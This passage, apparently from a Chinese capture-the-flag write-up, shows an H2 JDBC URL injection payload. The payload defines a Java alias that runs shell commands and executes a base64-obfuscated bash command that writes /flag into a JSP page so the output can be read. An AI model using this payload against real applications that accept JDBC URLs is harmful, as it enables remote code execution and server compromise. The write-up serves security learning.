详细可以看负数零师傅的文章: https://fushuling.com/index.php/2025/06/23/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84h2_jdbc_bypass%E4%B9%8B%E6%97%85/

那么构造出我们的 payload,注意环境是 jdk 17 没有 Nashorn 用不了 js 引擎,这里可以直接写回显到 404.jsp:

jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\T=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\=}|{base64,-d}|{bash,-i}')\;;AUTHZPWD=\

然后访问不存在的路由查看回显即可